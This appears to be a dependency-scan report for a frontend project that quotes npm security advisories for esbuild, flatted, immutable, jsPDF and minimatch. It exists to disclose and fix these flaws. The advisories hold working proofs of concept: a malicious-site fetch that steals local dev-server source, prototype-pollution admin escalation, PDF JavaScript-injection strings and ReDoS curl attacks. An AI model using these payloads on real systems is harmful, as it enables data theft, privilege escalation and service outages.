File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/chunk-YWAL7HVF.js
MD5: c2761228e2fc3d82975d4bd1e137ad8e
SHA1: c7c08cf456fdfd461cfa5b00c792f1b3dd8e06a9
SHA256:1fc15c4815f2bfbd744aba998603449310caa2b0fcd65a51d8f5319ffc1df494
File Path: /builds/pub/numeco/misis/misis-frontend/src/assets/custom.js
MD5: b76a4710138519044113c0901bed4886
SHA1: 3ca657331ee0ebf8487d1b76bbdb9f715044e75b
SHA256:d046e704784bdaba7948a66d7842b3e092da01baaffbde1851f42e233f68c21e
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?esbuild
Referenced In Project/Scope: package-lock.json: transitive
### Summary
esbuild allows any websites to send any request to the development server and read the response due to default CORS settings.
### Details
esbuild sets `Access-Control-Allow-Origin: *` header to all requests, including the SSE connection, which allows any websites to send any request to the development server and read the response.
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L121
https://github.com/evanw/esbuild/blob/df815ac27b84f8b34374c9182a93c94718f8a630/pkg/api/serve_other.go#L363
**Attack scenario**:
1. The attacker serves a malicious web page (`http://malicious.example.com`).
1. The user accesses the malicious web page.
1. The attacker sends a `fetch('http://127.0.0.1:8000/main.js')` request by JS in that malicious web page. This request is normally blocked by same-origin policy, but that's not the case for the reasons above.
1. The attacker gets the content of `http://127.0.0.1:8000/main.js`.
In this scenario, I assumed that the attacker knows the URL of the bundle output file name. But the attacker can also get that information by
- Fetching `/index.html`: normally you have a script tag here
- Fetching `/assets`: it's common to have a `assets` directory when you have JS files and CSS files in a different directory and the directory listing feature tells the attacker the list of files
- Connecting `/esbuild` SSE endpoint: the SSE endpoint sends the URL path of the changed files when the file is changed (`new EventSource('/esbuild').addEventListener('change', e => console.log(e.type, e.data))`)
- Fetching URLs in the known file: once the attacker knows one file, the attacker can know the URLs imported from that file
The scenario above fetches the compiled content, but if the victim has the source map option enabled, the attacker can also get the non-compiled content by fetching the source map file.
### PoC
1. Download [reproduction.zip](https://github.com/user-attachments/files/18561484/reproduction.zip)
2. Extract it and move to that directory
1. Run `npm i`
1. Run `npm run watch`
1. Run `fetch('http://127.0.0.1:8000/app.js').then(r => r.text()).then(content => console.log(content))` in a different website's dev tools.

### Impact
Users using the serve feature may get the source code stolen by malicious websites.CWE-346 Origin Validation ErrorVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?flatted
Referenced In Project/Scope: package-lock.json: transitive
## Summary
flatted's `parse()` function uses a recursive `revive()` phase to resolve circular references in deserialized JSON. When given a crafted payload with deeply nested or self-referential `$` indices, the recursion depth is unbounded, causing a stack overflow that crashes the Node.js process.
## Impact
Denial of Service (DoS). Any application that passes untrusted input to `flatted.parse()` can be crashed by an unauthenticated attacker with a single request.
flatted has ~87M weekly npm downloads and is used as the circular-JSON serialization layer in many caching and logging libraries.
## Proof of Concept
```javascript
const flatted = require('flatted');
// Build deeply nested circular reference chain
const depth = 20000;
const arr = new Array(depth + 1);
arr[0] = '{"a":"1"}';
for (let i = 1; i <= depth; i++) {
arr[i] = `{"a":"${i + 1}"}`;
}
arr[depth] = '{"a":"leaf"}';
const payload = JSON.stringify(arr);
flatted.parse(payload); // RangeError: Maximum call stack size exceeded
```
## Fix
The maintainer has already merged an iterative (non-recursive) implementation in PR #88, converting the recursive `revive()` to a stack-based loop.
## Affected Versions
All versions prior to the PR #88 fix.CWE-674 Uncontrolled RecursionVulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?immutable
Referenced In Project/Scope: package-lock.json: transitive
## Impact
_What kind of vulnerability is it? Who is impacted?_
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
## Affected APIs
| API | Notes |
| --------------------------------------- | ----------------------------------------------------------- |
| `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` |
| `mergeDeepWith(merger, target, source)` | Same code path |
| `merge(target, source)` | Shallow variant, same assignment logic |
| `Map.toJS()` | `object[k] = v` in `toObject()` with no `__proto__` guard |
| `Map.toObject()` | Same `toObject()` implementation |
| `Map.mergeDeep(source)` | When source is converted to plain object |
## Patches
_Has the problem been patched? What versions should users upgrade to?_
| major version | patched version |
| --- | --- |
| 3.x | 3.8.3 |
| 4.x | 4.3.7 |
| 5.x | 5.1.5 |
## Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
- [Validate user input](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#validate_user_input)
- [Node.js flag --disable-proto](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#node.js_flag_--disable-proto)
- [Lock down built-in objects](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#lock_down_built-in_objects)
- [Avoid lookups on the prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#avoid_lookups_on_the_prototype)
- [Create JavaScript objects with null prototype](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution#create_javascript_objects_with_null_prototype)
## Proof of Concept
### PoC 1 — mergeDeep privilege escalation
```javascript
"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
'{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly)
console.log("merged.role:", merged.role); // user (own property wins)
console.log("merged.admin:", merged.admin); // true ← INJECTED via __proto__!
// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true
```
### PoC 2 — All affected APIs
```javascript
"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true
// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)
```
**Verified output against immutable@5.1.4:**
```
mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined ← global Object.prototype NOT polluted
```
## References
_Are there any links users can visit to find out more?_
- [JavaScript prototype pollution](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/Prototype_pollution)CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?jspdf
Referenced In Project/Scope: package-lock.json: transitive
### Impact
User control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.
```js
import { jsPDF } from "jspdf";
const doc = new jsPDF();
// Payload:
// 1. ) closes the JS string.
// 2. > closes the current dictionary.
// 3. /AA ... injects an "Additional Action" that executes on focus/open.
const maliciousPayload = "console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>";
doc.addJS(maliciousPayload);
doc.save("vulnerable.pdf");
```
### Patches
The vulnerability has been fixed in jspdf@4.2.0.
### Workarounds
Escape parentheses in user-provided JavaScript code before passing them to the `addJS` method.
### References
https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.mdCWE-116 Improper Encoding or Escaping of Output, CWE-94 Improper Control of Generation of Code ('Code Injection')Vulnerable Software & Versions (NPM):
### Impact
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to the following property, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim hovers over the radio option.
* `AcroformChildClass.appearanceState`
Example attack vector:
```js
import { jsPDF } from "jspdf"
const doc = new jsPDF();
const group = new doc.AcroFormRadioButton();
group.x = 10; group.y = 10; group.width = 20; group.height = 10;
doc.addField(group);
const child = group.createOption("opt1");
child.x = 10; child.y = 10; child.width = 20; child.height = 10;
child.appearanceState = "Off /AA << /E << /S /JavaScript /JS (app.alert('XSS')) >> >>";
doc.save("test.pdf");
```
### Patches
The vulnerability has been fixed in jsPDF@4.2.0.
### Workarounds
Sanitize user input before passing it to the vulnerable API members.CWE-116 Improper Encoding or Escaping of OutputVulnerable Software & Versions (NPM):
### Impact
User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:
* `AcroformChoiceField.addOption`
* `AcroformChoiceField.setOptions`
* `AcroFormCheckBox.appearanceState`
* `AcroFormRadioButton.appearanceState`
Example attack vector:
```js
import { jsPDF } from "jspdf"
const doc = new jsPDF();
var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;
// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";
choiceField.addOption(payload);
doc.addField(choiceField);
doc.save("test.pdf");
```
### Patches
The vulnerability has been fixed in jsPDF@4.1.0.
### Workarounds
Sanitize user input before passing it to the vulnerable API members.
### Credits
Research and fix: Ahmet ArtuçCWE-116 Improper Encoding or Escaping of OutputVulnerable Software & Versions (NPM):
### Impact
User control of the first argument of the `addImage` method results in denial of service.
If given the possibility to pass unsanitized image data or URLs to the `addImage` method, a user can provide a harmful GIF file that results in out of memory errors and denial of service. Harmful GIF files have large width and/or height entries in their headers, wich lead to excessive memory allocation.
Other affected methods are: `html`.
Example attack vector:
```js
import { jsPDF } from "jspdf"
// malicious GIF image data with large width/height headers
const payload = ...
const doc = new jsPDF();
doc.addImage(payload, "GIF", 0, 0, 100, 100);
```
### Patches
The vulnerability has been fixed in jsPDF 4.1.1. Upgrade to jspdf@>=4.2.0.
### Workarounds
Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.
### References
https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25535.mdCWE-770 Allocation of Resources Without Limits or ThrottlingVulnerable Software & Versions (NPM):
### Impact
User control of the first argument of the `addImage` method results in Denial of Service.
If given the possibility to pass unsanitized image data or URLs to the `addImage` method, a user can provide a harmful BMP file that results in out of memory errors and denial of service. Harmful BMP files have large width and/or height entries in their headers, wich lead to excessive memory allocation.
Other affected methods are: `html`.
Example attack vector:
```js
import { jsPDF } from "jspdf"
// malicious BMP image data with large width/height headers
const payload = ...
const doc = new jsPDF();
doc.addImage(payload, "BMP", 0, 0, 100, 100);
```
### Patches
The vulnerability has been fixed in jsPDF 4.1.0. Upgrade to jspdf@>=4.1.0.
### Workarounds
Sanitize image data or URLs before passing it to the addImage method or one of the other affected methods.CWE-400 Uncontrolled Resource Consumption, CWE-20 Improper Input Validation, CWE-770 Allocation of Resources Without Limits or ThrottlingVulnerable Software & Versions (NPM):
### Impact
The addJS method in the jspdf Node.js build utilizes a shared module-scoped variable (text) to store JavaScript content. When used in a concurrent environment (e.g., a Node.js web server), this variable is shared across all requests.
If multiple requests generate PDFs simultaneously, the JavaScript content intended for one user may be overwritten by a subsequent request before the document is generated. This results in Cross-User Data Leakage, where the PDF generated for User A contains the JavaScript payload (and any embedded sensitive data) intended for User B.
Typically, this only affects server-side environments, although the same race conditions might occur if jsPDF runs client-side.
```js
import { jsPDF } from "jspdf";
const docA = new jsPDF();
const docB = new jsPDF();
// 1. User A sets their script (stored in shared 'text' variable)
docA.addJS('console.log("Secret A");');
// 2. User B sets their script (overwrites shared 'text' variable)
docB.addJS('console.log("Secret B");');
// 3. User A saves their PDF (reads current 'text' variable)
docA.save("userA.pdf");
// Result: userA.pdf contains "Secret B" instead of "Secret A"
```
### Patches
The vulnerability has been fixed in jspdf@4.0.1. The fix moves the shared variable into the function scope, ensuring isolation between instances.
### Workarounds
Avoid using the addJS method in concurrent server-side environments. If usage is required, ensure requests are processed sequentially (e.g., using a queue) rather than in parallel.CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition'), CWE-200 Exposure of Sensitive Information to an Unauthorized ActorVulnerable Software & Versions (NPM):
### Impact
User control of the first argument of the `addMetadata` function allows users to inject arbitrary XML.
If given the possibility to pass unsanitized input to the `addMetadata` method, a user can inject arbitrary XMP metadata into the generated PDF. If the generated PDF is signed, stored or otherwise processed after, the integrity of the PDF can no longer be guaranteed.
Example attack vector:
```js
import { jsPDF } from "jspdf"
const doc = new jsPDF()
// Input a string that closes the current XML tag and opens a new one.
// We are injecting a fake "dc:creator" (Author) to spoof the document source.
const maliciousInput = '</jspdf:metadata></rdf:Description>' +
'<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">' +
'<dc:creator>TRUSTED_ADMINISTRATOR</dc:creator>' + // <--- Spoofed Identity
'</rdf:Description>' +
'<rdf:Description><jspdf:metadata>'
// The application innocently adds the user's input to the metadata
doc.addMetadata(maliciousInput, "http://valid.namespace")
doc.save("test.pdf")
```
### Patches
The vulnerability has been fixed in jsPDF@4.1.0
### Workarounds
Sanitize user input before passing it to the `addMetadata` method: escape XML entities. For example:
```js
let input = "..."
input = input
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'")
doc.addMetadata(input)
```CWE-20 Improper Input Validation, CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')Vulnerable Software & Versions (NPM):
File Path: /builds/pub/numeco/misis/misis-frontend/karma.conf.js
MD5: 0252269cf0d9f0811a1c470e800e2126
SHA1: a8499b99e58cb892900ba688441310f193138f11
SHA256:f02aa533841dbb98cbe4b7803b454f40a6ec1cbc22688b6468b511f98470e1a7
File Path: /builds/pub/numeco/misis/misis-frontend/dist/misis-frontend/browser/main-C6NUVAQ2.js
MD5: 0df95864a6403680707021d5df87f5cb
SHA1: 0f3e84e8a12fe89a1b0c95f1a0cae775f3d90f1d
SHA256:5ad9dd78ca8dfb64c4adb623cad2083e007e2590ba95a244219ca3792a1a6f91
File Path: /builds/pub/numeco/misis/misis-frontend/package-lock.json?minimatch
Referenced In Project/Scope: package-lock.json: transitive
### Summary
Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally.
---
### Details
The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group:
```typescript
: this.type === '*' && bodyDotAllowed ? `)?`
: `)${this.type}`
```
This produces the following regexps:
| Pattern | Generated regex |
|----------------------|------------------------------------------|
| `*(a\|b)` | `/^(?:a\|b)*$/` |
| `*(*(a\|b))` | `/^(?:(?:a\|b)*)*$/` |
| `*(*(*(a\|b)))` | `/^(?:(?:(?:a\|b)*)*)*$/` |
| `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/` |
These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`.
The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration.
Measured times via `minimatch()`:
| Pattern | Input | Time |
|----------------------|--------------------|------------|
| `*(*(a\|b))` | `a` x30 + `z` | ~68,000ms |
| `*(*(*(a\|b)))` | `a` x20 + `z` | ~124,000ms |
| `*(*(*(*(a\|b))))` | `a` x25 + `z` | ~116,000ms |
| `*(a\|a)` | `a` x25 + `z` | ~2,000ms |
Depth inflection at fixed input `a` x16 + `z`:
| Depth | Pattern | Time |
|-------|----------------------|--------------|
| 1 | `*(a\|b)` | 0ms |
| 2 | `*(*(a\|b))` | 4ms |
| 3 | `*(*(*(a\|b)))` | 270ms |
| 4 | `*(*(*(*(a\|b))))` | 115,000ms |
Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level.
---
### PoC
Tested on minimatch@10.2.2, Node.js 20.
**Step 1 -- verify the generated regexps and timing (standalone script)**
Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`:
```javascript
import { minimatch, Minimatch } from 'minimatch'
function timed(fn) {
const s = process.hrtime.bigint()
let result, error
try { result = fn() } catch(e) { error = e }
const ms = Number(process.hrtime.bigint() - s) / 1e6
return { ms, result, error }
}
// Verify generated regexps
for (let depth = 1; depth <= 4; depth++) {
let pat = 'a|b'
for (let i = 0; i < depth; i++) pat = `*(${pat})`
const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString()
console.log(`depth=${depth} "${pat}" -> ${re}`)
}
// depth=1 "*(a|b)" -> /^(?:a|b)*$/
// depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
// depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
// depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
// Safe-length timing (exponential growth confirmation without multi-minute hang)
const cases = [
['*(*(*(a|b)))', 15], // ~270ms
['*(*(*(a|b)))', 17], // ~800ms
['*(*(*(a|b)))', 19], // ~2400ms
['*(*(a|b))', 23], // ~260ms
['*(a|b)', 101], // <5ms (depth=1 control)
]
for (const [pat, n] of cases) {
const t = timed(() => minimatch('a'.repeat(n) + 'z', pat))
console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`)
}
// Confirm noext disables the vulnerability
const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true }))
console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`)
// +() is equally affected
const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))'))
console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`)
```
Observed output:
```
depth=1 "*(a|b)" -> /^(?:a|b)*$/
depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/
depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/
depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/
"*(*(*(a|b)))" n=15: 269ms result=false
"*(*(*(a|b)))" n=17: 268ms result=false
"*(*(*(a|b)))" n=19: 2408ms result=false
"*(*(a|b))" n=23: 257ms result=false
"*(a|b)" n=101: 0ms result=false
noext=true: 0ms (should be ~0ms)
"+(+(+(a|b)))" n=18: 6300ms result=false
```
**Step 2 -- HTTP server (event loop starvation proof)**
Save as `poc4-server.mjs`:
```javascript
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3001
http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`)
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
}).listen(PORT, () => console.log(`listening on ${PORT}`))
```
Terminal 1 -- start the server:
```
node poc4-server.mjs
```
Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately:
```
curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" &
```
Terminal 3 -- send a benign request while the attack is in-flight:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz"
```
**Observed output -- Terminal 2 (attack):**
```
{"result":false,"ms":"64149"}
```
**Observed output -- Terminal 3 (benign, concurrent):**
```
{"result":false,"ms":"0"}
time_total: 63.022047s
```
**Terminal 1 (server log):**
```
[2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz"
[2026-02-20T09:42:21.775Z] done in 64149ms result=false
[2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz"
[2026-02-20T09:42:21.779Z] done in 0ms result=false
```
The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.
Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.
---
### Impact
Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.
Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.
`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).
**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.CWE-1333 Inefficient Regular Expression ComplexityVulnerable Software & Versions (NPM):
### Summary
`matchOne()` performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent `**` (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where `n` is the number of path segments and `k` is the number of globstars. With k=11 and n=30, a call to the default `minimatch()` API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
---
### Details
The vulnerable loop is in `matchOne()` at [`src/index.ts#L960`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L960):
```typescript
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
```
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each `**` multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning `false` on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time |
|---------------|--------------|----------|
| 7 | 36 bytes | ~154ms |
| 9 | 46 bytes | ~1.2s |
| 11 | 56 bytes | ~5.4s |
| 12 | 61 bytes | ~9.7s |
| 13 | 66 bytes | ~15.9s |
---
### PoC
Tested on minimatch@10.2.2, Node.js 20.
**Step 1 -- inline script**
```javascript
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
```
To scale the effect, increase k:
```javascript
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
```
No special options are required. This reproduces with the default `minimatch()` call.
**Step 2 -- HTTP server (event loop starvation proof)**
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
```javascript
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
```
Terminal 1 -- start the server:
```
node poc1-server.mjs
```
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
```
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
```
Terminal 3 -- while the attack is in-flight, send a benign request:
```
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
```
**Observed output (Terminal 3):**
```
{"result":true,"ms":"0"}
time_total: 4.132709s
```
The server reports `"ms":"0"` -- the legitimate request itself takes zero processing time. The 4+ second `time_total` is entirely time spent waiting for the event loop to be released by the attack request. Every concurrent user is blocked for the full duration of each attack call. Repeating the benign request while no attack is in-flight confirms the baseline:
```
{"result":true,"ms":"0"}
time_total: 0.001599s
```
---
### Impact
Any application where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature.CWE-407 Inefficient Algorithmic ComplexityVulnerable Software & Versions (NPM):
### Summary `minimatch` is vulnerable to Regular Expression Denial of Service (ReDoS) when a glob pattern contains many consecutive `*` wildcards followed by a literal character that doesn't appear in the test string. Each `*` compiles to a separate `[^/]*?` regex group, and when the match fails, V8's regex engine backtracks exponentially across all possible splits. The time complexity is O(4^N) where N is the number of `*` characters. With N=15, a single `minimatch()` call takes ~2 seconds. With N=34, it hangs effectively forever. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ ### PoC When minimatch compiles a glob pattern, each `*` becomes `[^/]*?` in the generated regex. For a pattern like `***************X***`: ``` /^(?!\.)[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?[^/]*?X[^/]*?[^/]*?[^/]*?$/ ``` When the test string doesn't contain `X`, the regex engine must try every possible way to distribute the characters across all the `[^/]*?` groups before concluding no match exists. With N groups and M characters, this is O(C(N+M, N)) — exponential. ### Impact Any application that passes user-controlled strings to `minimatch()` as the pattern argument is vulnerable to DoS. This includes: - File search/filter UIs that accept glob patterns - `.gitignore`-style filtering with user-defined rules - Build tools that accept glob configuration - Any API that exposes glob matching to untrusted input ---- Thanks to @ljharb for back-porting the fix to legacy versions of minimatch.CWE-1333 Inefficient Regular Expression Complexity
Vulnerable Software & Versions (NPM):
